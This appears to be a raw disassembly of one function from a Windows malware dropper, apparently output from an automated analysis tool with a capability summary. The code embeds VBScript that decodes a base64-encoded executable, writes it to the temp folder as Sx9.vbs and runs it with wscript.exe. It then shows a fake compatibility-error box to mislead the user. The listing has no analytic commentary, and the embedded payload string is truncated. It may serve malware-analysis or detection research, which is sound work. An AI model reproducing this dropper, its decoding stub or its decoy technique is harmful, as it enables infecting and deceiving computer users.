Function at 0x40148e
Capabilities:
Create process on windows
Get common file path
Set registry value

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x270
call sym.___main
lea eax, [ebp - 0x25]
mov ecx, eax
call fcn.0045a1d0
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x25]
mov dword [esp + 4], edx
mov dword [esp], str._n_nFunction_l_a_:_With_CreateObject__Msxml2.DOMDocument__.CreateElement__aux__:_.DataType___bin.base64_:_.Text__a:_l__r_.NodeTypedValue_:_End_With:_End_Function_nFunction_r_b_:_With_CreateObject__ADODB.Stream__:_.Type__1:_.Open:_.Write_b:_.Position__0:_.Type__2:_.CharSet___utf_8_:_r__.ReadText:_.Close:__End_With:_End_function_nExecute_l__RGltIG9iakZTTywgb2JqU2hlbGwNCkRpbSBiYXNlNjRTdHJpbmdEbGwsIG91dHB1dEZpbGVEbGwsIGRlY29kZWRCaW5hcnlEbGwNCkRpbSBkbGxEZWNvZGVkDQoNCmJhc2U2NFN0cmluZ0RsbCA9ICJUVnFRQUFNQUFBQUVBQUFBLy84QUFMZ0FBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWdBQUFBQTRmdWc0QXRBbk5JYmdCVE0waFZHaHBjeUJ3Y205bmNtRnRJR05oYm01dmRDQmlaU0J5ZFc0Z2FXNGdSRTlUSUcxdlpHVXVEUTBLSkFBQUFBQUFBQUJRUlFBQVRBRVNBQmhBMFdVQUloWUFESHdBQU9BQUJpRUxBUUljQUI0TkFBRCtFd0FBREFBQVlCQUFBQUFRQUFBQU1BMEFBQUNzYWdBUUFBQUFBZ0FBQkFBQUFBRUFBQUFFQUFBQUFBQUFBQURBRmdBQUJnQUE2MHN6QUFNQUFBQUFBQ0FBQUJBQUFBQUFFQUFBRUFBQUFBQUFBQkFBQUFBQXNCTUFoQUFBQUFEQUV3QThDd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUEFUQUhodUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRTRCTUFHQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBd2hNQXRBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNTBaWGgwQUFBQU1Cd05BQUFRQUFBQUhnMEFBQVlBQUFBQUFBQUFBQUFBQUFBQUFHQUFVR0F1WkdGMFlRQUFBSGdkQUFBQU1BMEFBQjRBQUFBa0RRQUFBQUFBQUFBQUFBQUFBQUJBQUdEQUxuSmtZWFJoQUFBazB3QUFBRkFOQUFEVUFBQUFRZzBBQUFBQUFBQUFBQUFBQUFBQVFBQmdRQzgwQUFBQUFBQUFNR29GQUFBd0RnQUFiQVVBQUJZT0FBQUFBQUFBQUFBQUFBQUFBRUFBTUVBdVluTnpBQUFBQUdBTEFBQUFvQk1BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDQUFHREFMbVZrWVhSaEFBQ0VBQUFBQUxBVEFBQUNBQUFBZ2hNQUFBQUFBQUFBQUFBQUFBQUFRQUF3UUM1cFpHRjBZUUFBUEFzQUFBREFFd0FBREFBQUFJUVRBQUFBQUFBQUFBQUFBQUFBQUVBQU1NQXVRMUpVQUFBQUFCZ0FBQUFBMEJNQUFBSUFBQUNRRXdBQUFBQUFBQUFBQUFBQUFBQkFBRERBTG5Sc2N3QUFBQUFnQUFBQUFPQVRBQUFDQUFBQWtoTUFBQUFBQUFBQUFBQUFBQUFBUUFBd3dDNXlaV3h2WXdBQWVHNEFBQUR3RXdBQWNBQUFBSlFUQUFBQUFBQUFBQUFBQUFBQUFFQUFNRUl2TVRRQUFBQUFBTmdBQUFBQVlCUUFBQUlBQUFBRUZBQUFBQUFBQUFBQUFBQUFBQUJBQUVCQ0x6STVBQUFBQUFBM1RnRUFBSEFVQUFCUUFRQUFCaFFBQUFBQUFBQUFBQUFBQUFBQVFBQVFRaTgwTVFBQUFBQUF1Qk1BQUFEQUZRQUFGQUFBQUZZVkFBQUFBQUFBQUFBQUFBQUFBRUFBRUVJdk5UVUFBQUFBQUNNZkFBQUE0QlVBQUNBQUFBQnFGUUFBQUFBQUFBQUFBQUFBQUFCQUFCQkNMelkzQUFBQUFBQTRBQUFBQUFBV0FBQUNBQUFBaWhVQUFBQUFBQUFBQUFBQUFBQUFRQUF3UWk4NE1BQUFBQUFBcmdJQUFBQVFGZ0FBQkFBQUFJd1ZBQUFBQUFBQUFBQUFBQUFBQUVBQUVFSXZPVEVBQUFBQUFKcUNBQUFBSUJZQUFJUUFBQUNRRlFBQUFBQUFBQUFBQUFBQUFBQkFBQkJDTHpFd01nQUFBQURZREFBQUFMQVdBQUFPQUFBQUZCWUFBQUFBQUFBQUFBQUFBQUFBUUFBUVFnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVU0UHNHSXNWQktDL2FvWFNkRG1oQUtDL2FvMVkvRG5hZHh1TnRnQUFBQUNMQTRYQWRBai8wSXNWQktDL2FvUHJCRG5hZHV1SkZDVG9nN0VCQU1jRkJLQy9hZ0FBQUFESEJDUUFBQUFBNkpXeEFRQ0R4QmhidzVDTnRDWUFBQUFBVjFaVGcrd1FpMXdrSkl0MEpDQ0xmQ1FvZy9zQmREbUpOQ1NKZkNRSWlWd2tCT2haMUFBQWcrd01oZHVKeG5VU29RU2d2MnFGd0ErRWd3QUFBT2hlLy8vL2c4UVFpZkJiWGwvQ0RBQ05kZ0RIQkNTQUFBQUE2TVN3QVFDRndLTUVvTDlxZEd2SEFBQUFBQUNqQUtDL2FxRzRwN2xxaGNCMEZJbDhKQWpIUkNRRUFnQUFBSWswSlAvUWcrd002UDdZQUFEb2VkUUFBSWswSklsOEpBakhSQ1FFQVFBQUFPalYwd0FBZyt3TWhjQ0p4blNKNjR5TmRnQ052Q2NBQUFBQWc4UVFNZmFKOEZ0ZVg4SU1BSTEyQU9qcnNBRUFNZmJIQUF3QUFBRHBZUC8vLzQyMEpnQUFBQUNOdkNjQUFBQUFnK3djaTBRa0lNZEVKQWdBb0w5cXgwUWtCQVNndjJxSkJDVG91YkFCQUlYQUQ1VEFnOFFjRDdiQTk5akRqWFlBZyt3Y2kwUWtJTWRFSkFnQW9MOXF4MFFrQkFTZ3YycUpCQ1RvaWJBQkFJUEVITU9Ra0pDUWtKQ1FrSkNRa0pDUVZZbmxWbE9EN0JESEJDUUFVTGxxNkZTeEFRQ0Q3QVNGd0ErRXNRQUFBTWNFSkFCUXVXcUp3K2pqc0FFQWcrd0VvMUNxdjJySFJ
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x25]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x144]
mov dword [esp + 4], eax
mov dword [esp], 0x104
call sym._GetTempPathA_8
sub esp, 8
lea eax, [ebp - 9]
mov ecx, eax
call fcn.0045a1d0
lea eax, [ebp - 0x24]
lea edx, [ebp - 9]
mov dword [esp + 4], edx
lea edx, [ebp - 0x144]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x15c]
mov dword [esp + 8], str.Sx9.vbs
lea edx, [ebp - 0x24]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea eax, [ebp - 0x24]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
mov dword [esp + 4], 0x20
mov dword [esp], 0x10
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov edx, eax
lea eax, [ebp - 0x254]
mov dword [esp + 4], edx
lea edx, [ebp - 0x15c]
mov dword [esp], edx
mov ecx, eax
call fcn.0047a450
sub esp, 8
lea eax, [ebp - 0x254]
mov ecx, eax
call method.std::basic_ofstream_char__std::char_traits_char___.is_open__
test al, al
je 0x4015b0
lea eax, [ebp - 0x40]
mov dword [esp + 4], eax
lea eax, [ebp - 0x254]
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea eax, [ebp - 0x254]
mov ecx, eax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
jmp 0x4015dc
mov dword [esp + 4], str.Error:_Unable_to_create_VBS_file.
mov dword [esp], 0x4a3640
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov ebx, 1
jmp 0x401635
lea eax, [ebp - 0x15c]
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.wscript.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
mov dword [esp + 4], str.Compatibility_Error
mov dword [esp], str.This_version_of_the_file_is_not_compatible_with_the_version_of_Windows_youre_running._Check_your_computers_system_information_to_see_whether_you_need_an_x86__32_bit__or_x64__64_bit__version_of_the_program.
call sym.showErrorMessageBox_wchar_t_const__wchar_t_const_
mov ebx, 0
lea eax, [ebp - 0x254]
mov ecx, eax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
lea eax, [ebp - 0x15c]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x40]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x4016c7
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret